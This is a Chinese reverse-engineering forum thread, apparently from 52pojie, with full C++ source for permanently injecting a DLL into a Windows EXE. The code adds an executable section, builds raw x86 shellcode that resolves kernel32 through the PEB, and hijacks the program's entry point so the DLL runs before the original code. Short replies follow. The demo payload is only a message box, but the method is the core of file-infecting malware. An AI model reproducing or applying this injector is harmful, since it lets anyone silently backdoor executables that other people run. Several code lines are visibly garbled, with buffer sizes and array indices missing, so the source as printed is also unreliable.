舒默哦 发表于 2020-5-22 18:45

[vc] dll永久注入exe文件

本帖最后由 舒默哦 于 2020-5-22 20:07 编辑


https://static.52pojie.cn/static/image/hrline/1.gif

说明:
就是把dll文件拉伸贴在exe文件后面,先执行dll,然后跳回主程序入口继续执行。(其实,dll想什么时候执行就什么时候执行,具体看需求)

https://static.52pojie.cn/static/image/hrline/1.gif

遇到的问题:
这儿修复IAT表,不能是静态修复,因为计算机每次重启,系统dll映射到exe程序所在的地址都会变,IAT表必须动态修复。
修复IAT表需要用到"LoadLibraryA"和GetProcAddress两个函数,这两个函数存在于KERNEL32这个DLL中,
可以通过FS寄存器找到进程环境块PEB,得到kernel32的地址,找到GetProcAddress函数所在地址,再通过GetProcAddress找到LoadLibraryA的地址。

https://static.52pojie.cn/static/image/hrline/1.gif

具体步骤:
1、分别加载exe和dll到内存
2、给exe添加新节
3、处理dll(拉伸dll和以及修复重定位表)
4、申请新内存(大小=exe文件大小+新节大小)
5、获取dll的入口函数的指针
6、构造ShellCode
7、修改程序入口,跳到ShellCode地址处执行
8、保存文件

https://static.52pojie.cn/static/image/hrline/1.gif

实验测试文件用到了LoadPE.exe和test_dll.dll,最后输出的文件是newfile.exe。

test_dll.dll
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
CString str = "\t注入成功!!!!!\r\n\r\n";
str = str + "\tDLL模块在进程空间中的起始地址:" + (DWORD)hModule;
MessageBox(NULL, str.GetString(), "恭喜", MB_OK);


}

case DLL_THREAD_ATTACH:
//MessageBox(NULL, "DLL_THREAD_ATTACH", "", MB_OK);
case DLL_THREAD_DETACH:
//MessageBox(NULL, "DLL_THREAD_DETACH", "", MB_OK);
case DLL_PROCESS_DETACH:
//MessageBox(NULL, "DLL_PROCESS_DETACH", "", MB_OK);
break;
}
return TRUE;
}

main.cpp
#include <iostream>
#include <Windows.h>
#include "CString.h"
#include "Shellcode.h"
#define path_exe "c:\\LoadPE.exe"
#define out_path "c:\\newfile.exe"
#define path_dll "C:\\Users\\daddy\\Desktop\\软件代码区\\dll库\\test_dll\\Release\\test_dll.dll"

#define GET_HEADER_DICTIONARY(module, idx)      &(module)->headers->OptionalHeader.DataDirectory

#ifdef _WIN64
#define POINTER_TYPE ULONGLONG
#else
#define POINTER_TYPE DWORD
#endif

//获取文件的在内存的地址和大小
int GetBuffAddrAndSizeofFile(char* FilePath, _Out_DWORD* buff, _Out_ DWORD* FileSize, _Out_ DWORD* FileSize1);
//修复重定位表
void PerformBaseRelocation(char* buff, DWORD Value);
//处理dll的函数
DWORD StretchDLL(DWORD pFileBuff,DWORD FileSize,DWORD BaseAddress);
//拉伸文件
DWORD StretchEXE(DWORD pFileBuff, DWORD FileSize);
//文件对齐,返回对齐后的大小
DWORD FileAlignment(DWORD pFileBuf, DWORD FileSize);
//保存文件
void SaveFile(DWORD buffer,DWORD nLength);
//添加新节
void addSeciton(DWORD pFileBuff,DWORD AddSize);


void File_Forever_Inject()
{
   //1.0 把exe文件加载到内存
   DWORD pFileBuf_exe = 0;//exe在内存中的地址
   DWORD FileSize_exe = 0;//exe的内存大小
   DWORD FileSize_exe_1 = 0;//exe的文件大小
   if (GetBuffAddrAndSizeofFile((char*)path_exe, &pFileBuf_exe, &FileSize_exe, &FileSize_exe_1) == 0)
   {
         return;
   }

   //1.1 把dll文件加载到内存
   DWORD pFileBuf_dll = 0;//dll在内存中的地址
   DWORD FileSize_dll = 0;//dll的内存大小
   DWORD FileSize_dll_1 = 0;//dll的文件大小
   if (GetBuffAddrAndSizeofFile((char*)path_dll, &pFileBuf_dll, &FileSize_dll, &FileSize_dll_1) == 0)
   {
         return;
   }


   //计算添加新节需要的大小
   DWORD NewSectionSize = FileSize_dll + sizeof(Getkernel32Addr) + sizeof(GetprocessAddress) + sizeof(RebuildimportTable) + 0x100;

   //2.添加新节
   addSeciton(pFileBuf_exe, NewSectionSize);


   //3.处理dll(拉伸dll和修复重定位表)
   PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuf_exe;
   PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuf_exe + pDosHeader->e_lfanew);

   DWORD New_Filesize_dll = StretchDLL(pFileBuf_dll, FileSize_dll, pNtHeader->OptionalHeader.ImageBase + FileSize_exe);

      //4.申请新内存 = exe文件大小 + 新节大小
   DWORD nLength = FileSize_exe_1 + NewSectionSize;
   char* TotalBuff = new char;
   memset(TotalBuff, 0, nLength);
   memcpy(TotalBuff, (void*)pFileBuf_exe, FileSize_exe_1);
   memcpy(TotalBuff + FileSize_exe_1, (char*)New_Filesize_dll, FileSize_dll);
   memcpy(TotalBuff + FileSize_exe_1 + FileSize_dll, Getkernel32Addr, sizeof(Getkernel32Addr));
   memcpy(TotalBuff + FileSize_exe_1 + FileSize_dll + sizeof(Getkernel32Addr), GetprocessAddress, sizeof(GetprocessAddress));
   memcpy(TotalBuff + FileSize_exe_1 + FileSize_dll + sizeof(Getkernel32Addr) + sizeof(GetprocessAddress), RebuildimportTable, sizeof(RebuildimportTable));

   char GetProcAddress_Code[] = {
            0x47 ,0x65 ,0x74 ,0x50 ,0x72 ,0x6F ,0x63 ,0x41 ,0x64 ,0x64 ,0x72 ,0x65 ,0x73 ,0x73
   };

   char LoadLibraryA_Code[] = {
         0x4C ,0x6F,0x61,0x64,0x4C,0x69,0x62,0x72,0x61,0x72,0x79 ,0x41
   };

   memcpy(TotalBuff + nLength - 0x40, GetProcAddress_Code, sizeof(GetProcAddress_Code));
   memcpy(TotalBuff + nLength - 0x30, LoadLibraryA_Code, sizeof(LoadLibraryA_Code));

   
   // 5.获取DLL的入口函数的指针 = exe的基址 + exe添加新节前的内存对齐后的大小 + dll入口

   PIMAGE_DOS_HEADER pDosHeader_dll = (PIMAGE_DOS_HEADER)pFileBuf_dll;
   PIMAGE_NT_HEADERS pNtHeader_dll = (PIMAGE_NT_HEADERS)(pFileBuf_dll + pDosHeader_dll->e_lfanew);
   DWORD OEP_dll = pNtHeader_dll->OptionalHeader.AddressOfEntryPoint;
   DWORD DllEntry = pNtHeader->OptionalHeader.ImageBase + FileSize_exe + OEP_dll;

         

   //6.构造shellcode

   //call GetKernel32Addr
   //E8 XXXXXXXX = 要跳转的地址-E8所在的地址-5
   DWORD temp = pNtHeader->OptionalHeader.ImageBase + FileSize_exe + FileSize_dll;
   DWORD temp_1 = sizeof(Getkernel32Addr) + sizeof(GetprocessAddress) + sizeof(RebuildimportTable);
   DWORD s_GetKernel32Addr = temp - (temp + temp_1+6) - 5;

   //call MyGetProcessAddress
   //E8 XXXXXXXX = 要跳转的地址-E8所在的地址-5
   DWORD s_MyGetProcessAddress = temp + sizeof(Getkernel32Addr) - (temp + temp_1 + 0x14) - 5;

   //call RebuildImportTable
   //E8 XXXXXXXX = 要跳转的地址-E8所在的地址-5
   DWORD s_RebuildImportTable = temp + sizeof(Getkernel32Addr) + sizeof(GetprocessAddress) -
         (temp + temp_1 + 0x38) - 5;

   //call DllFunc   调用dll
   //E8 XXXXXXXX = 要跳转的地址-E8所在的地址-5
   DWORD DllFunc = DllEntry - (temp + temp_1 + 0x49) - 5;

   //"GetProcAddress"字符串所在的地址
   DWORD GPA = pNtHeader->OptionalHeader.ImageBase + FileSize_exe + NewSectionSize - 0x40;

   //"LoadLibraryA"字符串所在的地址
   DWORD LLA= pNtHeader->OptionalHeader.ImageBase + FileSize_exe + NewSectionSize - 0x30;

   //DLL模块在进程虚拟空间中的起始地址
   DWORD DLLAddr = pNtHeader->OptionalHeader.ImageBase + FileSize_exe;

   //主程序的入口
   DWORD jmp_orig = pNtHeader->OptionalHeader.AddressOfEntryPoint + pNtHeader->OptionalHeader.ImageBase;

   char ShellCode[] = {
         0x55,
         0x8B,0xEC,
         0x83,0xEC,0x50,
         //0xE8,0x2F,0x7C,0xCE,0xFF,
         0xE8,
         s_GetKernel32Addr & 0xFF,(s_GetKernel32Addr & 0xFF00) >> 8,(s_GetKernel32Addr & 0xFF0000) >> 16,s_GetKernel32Addr >> 24,
         0x89,0x45,0xFC,
         0x68,//0x00,0x00,0x89,0x00,
         GPA & 0xFF,(GPA & 0xFF00) >> 8,(GPA & 0xFF0000) >> 16,GPA >> 24,
         0x50,
         //0xE8,0x21,0x7C,0xFE,0xFF,
         0xE8,
         s_MyGetProcessAddress & 0xFF,(s_MyGetProcessAddress & 0xFF00) >> 8,(s_MyGetProcessAddress & 0xFF0000) >> 16,s_MyGetProcessAddress >> 24,
         0x83,0xC4,0x08,
         0x89,0x45,0xF8,
         0x68,//0x00,0x00,0x45,0x00,
         LLA & 0xFF,(LLA & 0xFF00) >> 8,(LLA & 0xFF0000) >> 16,LLA >> 24,
         0x8B,0x5D,0xFC,
         0x53,
         0xFF,0xD0,
         0x89,0x45,0xF4,
               
         0x8B,0x5D,0xF8,
         0x53,
         0x8b,0xD0,
         0xB9,
          DLLAddr & 0xFF,(DLLAddr & 0xFF00) >> 8,(DLLAddr & 0xFF0000) >> 16,DLLAddr >> 24,
         //0xE8,0xFB,0x7B,0xC3,0xFF,
         0xE8,
         s_RebuildImportTable & 0xFF,(s_RebuildImportTable & 0xFF00) >> 8,(s_RebuildImportTable & 0xFF0000) >> 16,s_RebuildImportTable >> 24,
         0x83,0xC4,0x04,
         0x6A,0x00,
         0x6A,0x01,
         0x68,//0x00,0x00,0x40,0x00,
         DLLAddr & 0xFF,(DLLAddr & 0xFF00) >> 8,(DLLAddr & 0xFF0000) >> 16,DLLAddr >> 24,
         //0xE8,0xEA,0x7B,0xBE,0x04,
         0xE8,
         DllFunc & 0xFF,(DllFunc & 0xFF00) >> 8,(DllFunc & 0xFF0000) >> 16,DllFunc >> 24,
         0x68,
         //0x00,0x00,0x04,0x00,
         jmp_orig & 0xFF,(jmp_orig & 0xFF00) >> 8,(jmp_orig & 0xFF0000) >> 16,jmp_orig >> 24,
         0xC3
   };

   //计算shellcode存放的地址
   DWORD Addr = (DWORD)TotalBuff + FileSize_exe_1 + NewSectionSize - 0x100;

   for (int i = 0; i < sizeof(ShellCode); i++)
   {
         ((char*)Addr) = ShellCode;
   }
   

   //7.修改入口
   PIMAGE_DOS_HEADER pDosHeader_New = (PIMAGE_DOS_HEADER)TotalBuff;
   PIMAGE_NT_HEADERS pNtHeader_New = (PIMAGE_NT_HEADERS)(TotalBuff + pDosHeader_New->e_lfanew);
   DWORD New_OEP = FileSize_exe+ NewSectionSize-0x100;
   *&(pNtHeader_New->OptionalHeader.AddressOfEntryPoint) = New_OEP;


   //8.保存文件
   SaveFile((DWORD)TotalBuff, nLength);
}


int main()
{
    File_Forever_Inject();
    system("pause");
    return 0;
}



//处理dll的函数
DWORD StretchDLL(DWORD pFileBuff,DWORD FileSize,DWORD BaseAddress)
{
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuff;
    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuff + pDosHeader->e_lfanew);

    //1.1 根据内存大小 申请内存
    char* NewFileBuff = new char;
    if (NewFileBuff==NULL)
    {
      printf("内存申请失败!");
      return 0;
    }
    memset(NewFileBuff, 0, FileSize);

    //1.2 拉伸文件
   // 拷贝DOS头 + DOS STUB + PE头到headers地址处
    memcpy(NewFileBuff, pDosHeader, pNtHeader->OptionalHeader.SizeOfHeaders);

    // 从dll文件内容中拷贝每个section(节)的数据到新的内存区域
    PIMAGE_OPTIONAL_HEADER32 OptionalHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pFileBuff + pDosHeader->e_lfanew + 4 + IMAGE_SIZEOF_FILE_HEADER);
    PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)OptionalHeader + pNtHeader->FileHeader.SizeOfOptionalHeader);

    for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++, pSectionHeader++)
    {
      char* x = (char*)NewFileBuff + pSectionHeader->VirtualAddress;
      char* y = (char*)pFileBuff + pSectionHeader->PointerToRawData;
      memcpy(x ,y, pSectionHeader->SizeOfRawData);
    }

    //1.3 修复重定位表
    // 检查加载到进程地址空间的位置和之前PE文件中指定的基地址是否一致,如果不一致,则需要重定位
    int locationDelta = (SIZE_T)((DWORD)BaseAddress - pNtHeader->OptionalHeader.ImageBase);
    if (locationDelta != 0)
    {
      //修复重定位表
      PerformBaseRelocation((char*)NewFileBuff, locationDelta);

    }

    //1.4 修复IAT表
    // 加载依赖dll,并构建"PEHeader.OptionalHeader.DataDirectory.Image_directory_entry_import"导入表
    /*if (!RebuildImportTable((char*)NewFileBuff, myLoadLibrary, myGetProcAddress))
    {
      printf("修复失败!");
      return 0;
    }*/

    return (DWORD)NewFileBuff;

}

//拉伸文件
DWORD StretchEXE(DWORD pFileBuff, DWORD FileSize)
{
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuff;
    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuff + pDosHeader->e_lfanew);

    //1.1 根据内存大小 申请内存
    char* NewFileBuff = new char;
    if (NewFileBuff == NULL)
    {
      printf("内存申请失败!");
      return 0;
    }
    memset(NewFileBuff, 0, FileSize);

    //1.2 拉伸文件
   // 拷贝DOS头 + DOS STUB + PE头到headers地址处
    memcpy(NewFileBuff, pDosHeader, pNtHeader->OptionalHeader.SizeOfHeaders);

    // 从dll文件内容中拷贝每个section(节)的数据到新的内存区域
    PIMAGE_OPTIONAL_HEADER32 OptionalHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pFileBuff + pDosHeader->e_lfanew + 4 + IMAGE_SIZEOF_FILE_HEADER);
    PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)OptionalHeader + pNtHeader->FileHeader.SizeOfOptionalHeader);

    for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++, pSectionHeader++)
    {
      char* x = (char*)NewFileBuff + pSectionHeader->VirtualAddress;
      char* y = (char*)pFileBuff + pSectionHeader->PointerToRawData;
      memcpy(x, y, pSectionHeader->SizeOfRawData);
    }

    return (DWORD)NewFileBuff;
}



//获取文件的在内存的地址和大小
int GetBuffAddrAndSizeofFile(char* FilePath, _Out_ DWORD* buff, _Out_ DWORD* FileSize ,_Out_ DWORD* FileSize1)
{
    //1.1 获取文件句柄
    HANDLE hFile = CreateFile(
      FilePath,
      GENERIC_READ,
      0,
      NULL,
      OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    //1.2 获取文件大小
    DWORD dwFileSize = GetFileSize(hFile, NULL);
    CHAR *pFileBuf = new CHAR;
    memset(pFileBuf, 0, dwFileSize);

    //1.3 将文件读取到内存
    DWORD ReadSize = 0;
    ReadFile(hFile, pFileBuf, dwFileSize, &ReadSize, NULL);

    //1.4 关闭句柄
    CloseHandle(hFile);


    //2.1 判断是否为PE文件
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuf;
    if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    {
      printf("不是MZ开头\n");
      return 0;
    }
    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuf + pDosHeader->e_lfanew);
    if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
    {
      printf("不是PE文件\n");
      return 0;
    }

    //2.2 把文件的在内存中的地址和大小分别赋值输出参数
    *buff = (DWORD)pFileBuf;
    *FileSize = (pNtHeader->OptionalHeader.SizeOfImage % pNtHeader->OptionalHeader.SectionAlignment==0) ?
      (pNtHeader->OptionalHeader.SizeOfImage) :
      (pNtHeader->OptionalHeader.SizeOfImage- (pNtHeader->OptionalHeader.SizeOfImage % pNtHeader->OptionalHeader.SectionAlignment)+ pNtHeader->OptionalHeader.SectionAlignment);
    *FileSize1 = dwFileSize;
    return 1;
}

//文件对齐,返回对齐后的大小
DWORD FileAlignment(DWORD pFileBuf, DWORD FileSize)
{
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuf;
    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuf + pDosHeader->e_lfanew);
    DWORD filealign = pNtHeader->OptionalHeader.FileAlignment;
    if (FileSize % filealign==0)
    {
      return FileSize;
    }
    else
    {
      return FileSize - FileSize % filealign + filealign;
    }
}

//保存文件
void SaveFile(DWORD buffer,DWORD nLength)
{
    FILE* fp;
    errno_t err = 0;
    err = fopen_s(&fp,(char*)out_path, "wb");
    if (err!=0)
    {
      printf("file cannot open\n");
      return;
    }

    if (fwrite((char*)buffer, nLength, 1, fp))
      printf("存盘成功!\n");
    else
      printf("存盘失败!\n");

    if (fclose(fp))
      printf("\nfile cannot be closed\n");
}

//添加新节
void addSeciton(DWORD pFileBuff,DWORD AddSize)
{
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuff;
    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuff + pDosHeader->e_lfanew);

    PIMAGE_OPTIONAL_HEADER32 OptionalHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pFileBuff + pDosHeader->e_lfanew + 4 + IMAGE_SIZEOF_FILE_HEADER);
    PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)OptionalHeader + pNtHeader->FileHeader.SizeOfOptionalHeader);

    //判断节表尾部是否有80个字节的空闲区域
    PIMAGE_SECTION_HEADER pse_temp = pSectionHeader + pNtHeader->FileHeader.NumberOfSections;//节表新增节的首地址
    PIMAGE_SECTION_HEADER pse_temp_b = pSectionHeader + pNtHeader->FileHeader.NumberOfSections - 1;//节表最后一节的首地址
    int space = OptionalHeader->SizeOfHeaders - ((DWORD)pse_temp - pFileBuff);

    //space空间指的是节表最后都是0,没有其他数据,如果有其他数据,则即使满足了有80个字节的空间,也不能添加数据,这样会破坏其他数据
    //如果空间不够,那么,doc头下面的垃圾数据不要了,后面的PE头 标准PE头 和节表上提;
    //并且要判断pDosHeader->e_lfanew-64这段距离是否大于80,否则上提没有意义
    if (pDosHeader->e_lfanew - 64 > 80 && space < 80)
    {
      int len = ((DWORD*)pse_temp - &(pNtHeader->Signature)) * 4;
      for (int i = 0; i < len; i++)
      {
            *((char*)pFileBuff + 64 + i) = *((char*)pFileBuff + i + pDosHeader->e_lfanew);
      }
      pDosHeader->e_lfanew = 0x40;
      
      pse_temp = pSectionHeader + pNtHeader->FileHeader.NumberOfSections;
      pse_temp_b = pSectionHeader + pNtHeader->FileHeader.NumberOfSections - 1;
      for (int i = 0; i < 80; i++)//把节表尾部80个字节格式化
            *((char*)pFileBuff + 64 + i + len) = 0;
      space = pDosHeader->e_lfanew - 64;//更新space空间
    }
    if (space > 80)
    {
      BYTE(*p) = &(pse_temp->Name);
      int name = { 0x2E,0x74,0x74,0x74,0x74 };
      for (int i = 0; i < 8; i++)
            p = name;

      pse_temp->Misc.VirtualSize = AddSize;

      if (pse_temp_b->Misc.VirtualSize > pse_temp_b->SizeOfRawData)//比较内存大小和文件大小
      {
            //检测内存大小是否对齐
            pse_temp->VirtualAddress =
                ((pse_temp_b->Misc.VirtualSize % OptionalHeader->SectionAlignment)==0)? pse_temp_b->Misc.VirtualSize :
                (pse_temp_b->Misc.VirtualSize - pse_temp_b->Misc.VirtualSize % OptionalHeader->SectionAlignment + OptionalHeader->SectionAlignment )+
                pse_temp_b->VirtualAddress;
            printf("%X\n", *&(pse_temp->VirtualAddress));
      }
      else
      {
            pse_temp->VirtualAddress =
                ((pse_temp_b->SizeOfRawData % OptionalHeader->SectionAlignment) == 0) ? pse_temp_b->SizeOfRawData :
                (pse_temp_b->SizeOfRawData - pse_temp_b->SizeOfRawData % OptionalHeader->SectionAlignment + OptionalHeader->SectionAlignment) +
                pse_temp_b->VirtualAddress;
      }

      pse_temp->SizeOfRawData = AddSize;
      pse_temp->PointerToRawData = pse_temp_b->SizeOfRawData + pse_temp_b->PointerToRawData;
      pse_temp->Characteristics = 0xE0000020;
      pNtHeader->FileHeader.NumberOfSections = pNtHeader->FileHeader.NumberOfSections + 1;
      pNtHeader->OptionalHeader.SizeOfImage = pNtHeader->OptionalHeader.SizeOfImage + AddSize;      
    }
    else
      printf("添加节失败,没有空间添加新的节!");
}

//修复重定位表
void PerformBaseRelocation(char* buff, DWORD Value)
{
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)buff;
    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(buff + pDosHeader->e_lfanew);

    //获取目录表头指针
    PIMAGE_DATA_DIRECTORY pDataDirectory = pNtHeader->OptionalHeader.DataDirectory;
    if (pDataDirectory.Size > 0)
    {
      PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)((DWORD)buff + pDataDirectory.VirtualAddress);
      while (relocation->VirtualAddress > 0)
      {
            BYTE* dest = (PBYTE)((DWORD)buff + relocation->VirtualAddress);
            WORD* relInfo = (PWORD)((DWORD)relocation + sizeof(IMAGE_BASE_RELOCATION));
            for (int i = 0; i < ((relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2); ++i, ++relInfo)
            {
                DWORD *patchAddrHL;
                int type, offset;

                //the upper 4 bits define the type of relocation
                type = *relInfo >> 12;
                //the lower 12 bits define the offset
                offset = *relInfo & 0xFFF;

                switch (type)
                {
                case IMAGE_REL_BASED_ABSOLUTE:
                  //skip relocation
                  break;
                case IMAGE_REL_BASED_HIGHLOW:
                  //change comlete 32 bit address
                  patchAddrHL = (PDWORD)(dest + offset);
                  *patchAddrHL += Value;
                  break;
                default:
                  break;
                }
            }
            //advance to next relocation block
            relocation = PIMAGE_BASE_RELOCATION((DWORD)relocation + relocation->SizeOfBlock);
      }
    }

}


https://static.52pojie.cn/static/image/hrline/1.gif



结语:
newfile.exe能够在win10上运行,不能在win7上跑(32位和64位都失败)。
有低版本的编译器的老铁可以试一下,在支持win7的编译器上编译,然后在win7上跑看能不能跑得动


gaobb 发表于 2021-9-11 10:26

这是来骗C币的吗?

hj170520 发表于 2020-5-22 19:10

{:301_974:}大佬大佬,膜拜一下

舒默哦 发表于 2020-5-22 19:13

hj170520 发表于 2020-5-22 19:10
大佬大佬,膜拜一下

别这样,老铁

舒默哦 发表于 2020-5-22 19:17

奇安信要拦截这个dll

不名物 发表于 2020-5-23 10:49

纯学习一下吧,包装exe,典型的shellcode模式啊

舒默哦 发表于 2020-5-23 17:20

不名物 发表于 2020-5-23 10:49
纯学习一下吧,包装exe,典型的shellcode模式啊

我只想到这种,还有其他方式吗?还有种方法是把dll分离出exe,放到一个临时文件加载后删掉,这样可以不用修复重定位和IAT表
页: [1]
查看完整版本: [vc] dll永久注入exe文件